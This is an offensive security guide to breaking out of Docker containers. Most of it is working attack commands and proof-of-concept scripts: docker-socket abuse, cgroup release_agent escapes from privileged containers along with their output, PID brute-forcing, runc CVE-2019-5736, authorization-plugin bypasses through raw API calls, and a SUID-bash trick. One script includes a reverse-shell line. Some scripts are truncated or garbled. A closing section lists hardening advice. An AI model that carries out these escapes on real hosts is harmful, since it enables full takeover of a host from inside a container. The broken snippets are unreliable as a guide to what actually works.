Docker Breakout

What is a container

In summary, it's an isolated process via cgroups (what the process can use, like CPU and RAM) and namespaces (what the process can see, like directories or other processes):

docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)

Mounted docker socket

If somehow you find that the docker socket is mounted inside the docker container, you will be able to escape from it. This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

In this case you can use regular docker commands to communicate with the docker daemon:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

In case the docker socket is in an unexpected place you can still communicate with it using the docker command with the parameter -H unix:///path/to/docker.sock

Container Capabilities

You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE

You can check currently container capabilities with:

capsh --print

In the following page you can learn more about linux capabilities and how to abuse them:

Linux Capabilities

--privileged flag

The --privileged flag allows the container to have access to the host devices.

I own Root

Well configured docker containers won't allow command like fdisk -l. However on missconfigured docker command where the flag --privileged is specified, it is possible to get the privileges to see the host drive.

So to take over the host machine, it is trivial:

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

And voilà ! You can now acces the filesystem of the host because it is mounted in the /mnt/hole folder.

Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/ 0>&1" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output

The --privileged flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities.

In fact, --privileged provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are:

  1. We must be running as root inside the container

  2. The container must be run with the SYS_ADMIN Linux capability

  3. The container must lack an AppArmor profile, or otherwise allow the mount syscall

  4. The cgroup v1 virtual filesystem must be mounted read-write inside the container

The SYS_ADMIN capability allows a container to perform the mount syscall (see man 7 capabilities). Docker starts containers with a restricted set of capabilities by default and does not enable the SYS_ADMIN capability due to the security risks of doing so.

Further, Docker starts containers with the docker-default AppArmor policy by default, which prevents the use of the mount syscall even when the container is run with SYS_ADMIN.

A container would be vulnerable to this technique if run with the flags: --security-opt apparmor=unconfined --cap-add=SYS_ADMIN

Breaking down the proof of concept

Now that we understand the requirements to use this technique and have refined the proof of concept exploit, let’s walk through it line-by-line to demonstrate how it works.

To trigger this exploit we need a cgroup where we can create a release_agent file and trigger release_agent invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup.

To do that, we create a /tmp/cgrp directory, mount the RDMA cgroup controller and create a child cgroup (named “x” for the purposes of this example). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers.

If you’re following along and get “mount: /tmp/cgrp: special device cgroup does not exist”, it’s because your setup doesn’t have the RDMA cgroup controller. Change rdma to memory to fix it. We’re using RDMA because the original PoC was only designed to work with it.

Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another.

We can see the “x” child cgroup creation and its directory listing below.

root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its notify_on_release file. We also set the RDMA cgroup release agent to execute a /cmd script — which we will later create in the container — by writing the /cmd script path on the host to the release_agent file. To do it, we’ll grab the container’s path on the host from the /etc/mtab file.

The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host.

Those operations can be seen below:

root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

Note the path to the /cmd script, which we are going to create on the host:

root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent

Now, we create the /cmd script such that it will execute the ps aux command and save its output into /output on the container by specifying the full path of the output file on the host. At the end, we also print the /cmd script to see its contents:

root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a /bin/sh process and writing its PID to the cgroup.procs file in “x” child cgroup directory, the script on the host will execute after /bin/sh exits. The output of ps aux performed on the host is then saved to the /output file inside the container:

root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]

--privileged flag v2

The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example overlayfs, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point.

Kata Containers

root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)

Kata Containers by default mounts the root fs of a container over 9pfs. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.

* More on Kata Containers in a future blog post.

Device Mapper

root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0

I saw a container with this root mount in a live environment, I believe the container was running with a specific devicemapper storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.

An Alternative PoC

Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felix’s PoC cannot be used as is. However, we can still execute this attack with a little ingenuity.

The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere.

Proc to the Rescue

The Linux /proc pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the /proc directory of the process on the host:Container

root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root     28936 28909  0 10:11 pts/0    00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x   9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov  9 15:41 ..
dr-xr-xr-x   2 root root 0 Nov 19 10:04 attr
-rw-r--r--   1 root root 0 Nov 19 10:04 autogroup
-r--------   1 root root 0 Nov 19 10:04 auxv
-r--r--r--   1 root root 0 Nov 19 10:03 cgroup
--w-------   1 root root 0 Nov 19 10:04 clear_refs
-r--r--r--   1 root root 0 Nov 19 10:04 cmdline
-rw-r--r--   1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx   1 root root 0 Nov 19 10:29 root -> /
-rw-r--r--   1 root root 0 Nov 19 10:29 sched

As an aside, the /proc/<pid>/root data structure is one that confused me for a very long time, I could never understand why having a symbolic link to / was useful, until I read the actual definition in the man pages:


UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/*.

Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself.

The /proc/<pid>/root symbolic link can be used as a host relative path to any file within a container:Container

root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme

This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of any process running in the container.

Pid Bashing

This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The init process is assigned process id 1 and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container

root@container:~$ echo findme > /findme
root@container:~$ sleep 100


root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
root@host:~$ cat /proc/${COUNTER}/root/findme

Putting it All Together

To complete this attack the brute force technique can be used to guess the pid for the path /proc/<pid>/root/, with each iteration writing the guessed pid path to the cgroups release_agent file, triggering the release_agent, and seeing if an output file is created.

The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this should not cause reliability issues, but don’t quote me on that.

The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the cgroups release_agent functionality:



# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
while [ ! -f ${OUTPUT_PATH} ]
  if [ $((${TPID} % 100)) -eq 0 ]
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
      echo "Exiting at ${MAX_PID} :-("
      exit 1
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))

# Wait for and cat the output
sleep 1
echo "Done! Output:"

Executing the PoC within a privileged container should provide output similar to:

root@container:~$ ./
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]

Runc exploit (CVE-2019-5736)

In case you can execute docker exec as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit here). This technique will basically overwrite the /bin/sh binary of the host from a container, so anyone executing docker exec may trigger the payload.

Change the payload accordingly and build the main.go with go build main.go. The resulting binary should be placed in the docker container for execution. Upon execution, as soon as it displays [+] Overwritten /bin/sh successfully you need to execute the following from the host machine:

docker exec -it <container-name> /bin/sh

This will trigger the payload which is present in the main.go file.

For more information:

Docker API Firewall Bypass

In some occasions, the sysadmin may install some plugins to docker to avoid low privilege users to interact with docker without being able to escalate privileges.

disallowed run --privileged

In this case the sysadmin disallowed users to mount volumes and run containers with the --privileged flag or give any extra capability to the container:

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

However, a user can create a shell inside the running container and give it the extra privileges:

docker run -d --security-opt "seccomp=unconfined" ubuntu
docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash

Now, the user can escape from the container using any of the previously discussed techniques and escalate privileges inside the host.

Mount Writable Folder

In this case the sysadmin disallowed users to run containers with the --privileged flag or give any extra capability to the container, and he only allowed to mount the /tmp folder:

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
 -p #This will give you a shell as root

Note that maybe you cannot mount the folder /tmp but you can mount a different writable folder. You can find writable directories using: find / -writable -type d 2>/dev/null

Note that not all the directories in a linux machine will support the suid bit! In order to check which directories support the suid bit run mount | grep -v "nosuid" For example usually /dev/shm , /run , /proc , /sys/fs/cgroup and /var/lib/lxcfs don't support the suid bit.

Note also that if you can mount /etc or any other folder containing configuration files, you may change them from the docker container as root in order to abuse them in the host and escalate privileges (maybe modifying /etc/shadow)

Unchecked JSON Structure

It's possible that when the sysadmin configured the docker firewall he forgot about some important parameter of the API ( like "Binds". In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

Unchecked JSON Attribute

It's possible that when the sysadmin configured the docker firewall he forgot about some important attribute of a parametter of the API ( like "Capabilities" inside "HostConfig". In the following example it's possible to abuse this misconfiguration to create and run a container with the SYS_MODULE capability:

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

Writable hostPath Mount

(Info from here) Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:

#### Check if You Can Write to a File-system
$ echo 1 > /proc/sysrq-trigger

#### Check root UUID
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

#### debugfs (Interactive File System Debugger)
$ debugfs /dev/sda1

Containers Security Improvements

Seccomp in Docker

This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker:


AppArmor in Docker

This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker:



gVisor is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an Open Container Initiative (OCI) runtime called runsc that provides an isolation boundary between the application and the host kernel. The runsc runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers.

Kata Containers

Kata Containers is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide stronger workload isolation using hardware virtualization technology as a second layer of defense.

Use containers securely

Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the --privileged flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary.

To help keep containers secure:

  • Do not use the --privileged flag or mount a Docker socket inside the container. The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the --privileged flag.

  • Do not run as root inside the container. Use a different user or user namespaces. The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.

  • Drop all capabilities (--cap-drop=all) and enable only those that are required (--cap-add=...). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack.

  • Use the “no-new-privileges” security option to prevent processes from gaining more privileges, for example through suid binaries.

  • Limit resources available to the container. Resource limits can protect the machine from denial of service attacks.

  • Adjust seccomp, AppArmor (or SELinux) profiles to restrict the actions and syscalls available for the container to the minimum required.

  • Use official docker images or build your own based on them. Don’t inherit or use backdoored images.

  • Regularly rebuild your images to apply security patches. This goes without saying.


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